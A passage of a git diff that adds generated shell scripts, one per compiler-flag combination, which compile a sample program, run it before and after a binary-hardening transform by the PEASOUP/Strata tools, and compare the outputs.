+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..180f400104d3020efc789066407b0b5815ae042c
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..32c00c05e764ff3899ec8397adf17aee54ebfa38
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..e6118913afebb2d21aed05f445c55b53accd3bac
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..dc5d2215107f7a7a696b33d13535fc8ac91551c1
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b21663c7e39fc04e7b3ec85452b468b45675a791
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a6c44d3aae442e44292851d98e6c428e3f1a58de
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
